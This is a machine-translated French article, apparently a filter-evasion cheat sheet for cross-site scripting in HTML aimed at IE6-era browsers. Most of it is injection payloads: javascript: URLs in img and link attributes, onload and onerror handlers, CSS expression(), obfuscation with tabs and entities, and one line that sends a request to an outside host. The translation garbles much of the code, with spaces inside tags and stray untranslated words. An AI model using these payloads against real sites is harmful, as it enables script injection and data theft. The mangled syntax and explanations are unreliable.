Caractéristiques syntaxe HTML
L'une des principales méthodes de protection des sites de XSS-vulnérabilité - est d'utiliser différents filtres sur les caractères saisis par l'utilisateur. Dans cet article, on décrit les caractéristiques de la syntaxe du langage HTML, ce qui permet aux données sur des filtres de dérivation.
Il convient de noter que la vulnérabilité XSS est navigateur-dépendante. Tous les exemples ci-dessous ont été testés dans IE6. Dans d'autres versions ou d'autres navigateurs, des exemples peuvent également ne pas fonctionner. Par exemple, un caractère apostrophe inverse ( ') est l'attribut delimiter que dans IE. D'autres navigateurs tels que Opera par exemple, ne croit pas que le caractère ogrnichitelem.
En plus de l' espace, il est permis d'utiliser les caractères: slash (/), onglets, saut de ligne. Le séparateur est autorisé à omettre, si l'affiliation précédente enfermé dans des guillemets.
<Image / src = "1.png" / alt = "Tip" / border = "0"> <Image src = "1.png" alt = border "Tip" = "0"> <Image src = "1.png" alt = "Tip" border = "0"> <Image src = "1.png" alt = border "Tip" = "0">
Les valeurs autorisées à être cotées (double et simple) et apostrophes seulement permis le général ne limite pas.
<Image src = "" alt = "Mon conseil" border = "0"> <Image src = "" alt = 'Mon conseil' border = "0"> <Image src = "" alt = `Mon podskazka` border =" 0 "> <Image src = "" alt = border Tip = "0">
Explication des symboles dans le script vient à sa mise en œuvre:
<Img src = javascript: alert (& quot; ok & quot;)> <Img src = javascript: alert (& # 039; ok & # 039;)> <Img src = javascript: alert ( 'ok')> <a href=javascript:alert(%22ok%22)> me cliquent </a> (uniquement dans l'attribut href)
<Img src = javascript: alert ( 'ok')> <Img src = javascript: alert ( "ok")> <Img src = javascript: a = / ok /; alert (a.source)> <Img src = javascript: alert (String.fromCharCode (111107))>
<Img src = javascript: i = new / ** / Image (); i.src = 'http: //bla.bla'> ( remplaçant l'espace / ** /)
Plusieurs façons d'exécuter automatiquement des scripts:
<Script> alert ( 'ok') </ script> <Script src = 1.js> </ script> <OnLoad Corps = alert ( 'ok')> <Meta http-equiv = contenu Refresh = 0; url = javascript: alert ( 'ok')> <Image src = 1.png onload = alert ( 'ok')> <Image src = javascript: alert ( 'ok')> <Image src = "" onerror = alert ( 'ok')> <Style = Hr background: url (javascript: alert ( 'ok'))> <Span style = top: expression (alert ( 'ok'))> </ span> <Span sss = "alert () ; this.sss = null" style = top: expression (eval (this.sss));> </ span> ( fonctionne une seule fois) <style type = "text / css"> @import url (javascript: alert ( 'ok')); </ style> <Object classid = clsid: ae24fdae-03c6-11d1-8b76-0080c744f389> <param name = valeur url = javascript: alert ( 'ok')> </ object> <Embed src = javascript: alert ( 'ok'); this.avi> <Embed src = javascript: alert ( 'ok'); this.wav> <Iframe src = javascript: alert ( 'ok')> ( seulement IE) <a href=javascript:alert(%22ok%22)> cliquez me </a> (courir que lorsque vous cliquez sur le lien) <a href = javascript: alert ( 'aaa' + eval ( 'alert (); i = 2 + 2') + 'bbb')> cliquez me </a> ( courir que lorsque vous cliquez sur le lien) <br SIZE = "& { alerte ( 'XSS')} "> ( seulement Netscape 4.x)
<Img src = javascript: alert ( )> <img src = vbscript: alert ()> <img src = javascript: alert ()> <img src = "javascript: alert ()"> ( espaces jusqu'à javascript word) < img src = javascript: alert ()> <img src = javascript: alert ()> <img src = javascript: alert ()> <img src = javascript & # 13: alert ()> <img src = "javascript: alert ()"> ( avant les deux points - un caractère de tabulation) <img src = "java scri pt: ale rt ()"> ( dans le mot javascript - un caractère de tabulation comme un retour chariot)
script opérateurs dans l'attribut de style à partager "\;".
<Style Hr = `background: url (javascript: alert ( 'ok 1') \; alert ( 'ok 2')) '>
<Image src = alt "de 1.png" = "" border = " 0"> (balise img et de l' image fonctionnent de la même) <plaintext> (tout ce qui va se déplacer plus tard cette balise sera considérée comme texte brut - pas HTML) <textarea> (tout ce qui va se déplacer plus tard cette balise sera considérée comme texte brut - pas HTML) <xml> (tout ce qui va se déplacer plus tard cette balise n'apparaîtra en aucune façon)
symbole | codage décimal | 16e encodage * | Codage des caractères | URL-codée |
" | & # 34 | & # X22; | & quot | 22% |
' | & # 39 | & # X27; | 27% | |
` | & # 96 | & # X60; | 60% | |
<Espace> | & # 32 | & # X20; | + | |
<Tab> | & # 9 | & # X09; | 09% | |
<Retour chariot> | & # 13 | & # X0d; | % 0D | |
= | & # 61 | & # X3D; | % 3D | |
< | & # 60 | & # X3C; | & lt | % 3C |
> | & # 62 | & # X3E; | & gt | % 3E |
\ | & # 92 | & # X5C; | % 5C | |
% | & # 37 | & # X25; | 25% | |
+ | & # 43 | & # X2B; | % 2B | |
<Dash Short> | & # 173 | & # XAD; | et timide | % AD |
& | & # 38 | & # X26; | & amp | 26% |
* -dans Certains cas, le point - virgule peut être omise (si le caractère est à la fin de la ligne ou à la ligne sont quelques caractères dans l'encodage).
. Voir similaires: http://ha.ckers.org/xss.html

Vous pouvez également soutenir shram.kiev.ua, cliquez sur:
Ne soyez pas mal à vos amis et trouver cette information, partager avec eux l'article!
Commentaires
Commentant, gardez à l' esprit que le contenu et le ton de vos messages peuvent blesser les sentiments des gens réels, montrer du respect et de la tolérance à ses interlocuteurs, même si vous ne partagez pas leur avis, votre comportement en termes de liberté d'expression et de l' anonymat offert par Internet, est en train de changer non seulement virtuel, mais dans le monde réel. Tous les commentaires sont cachés à l'index, le contrôle anti - spam.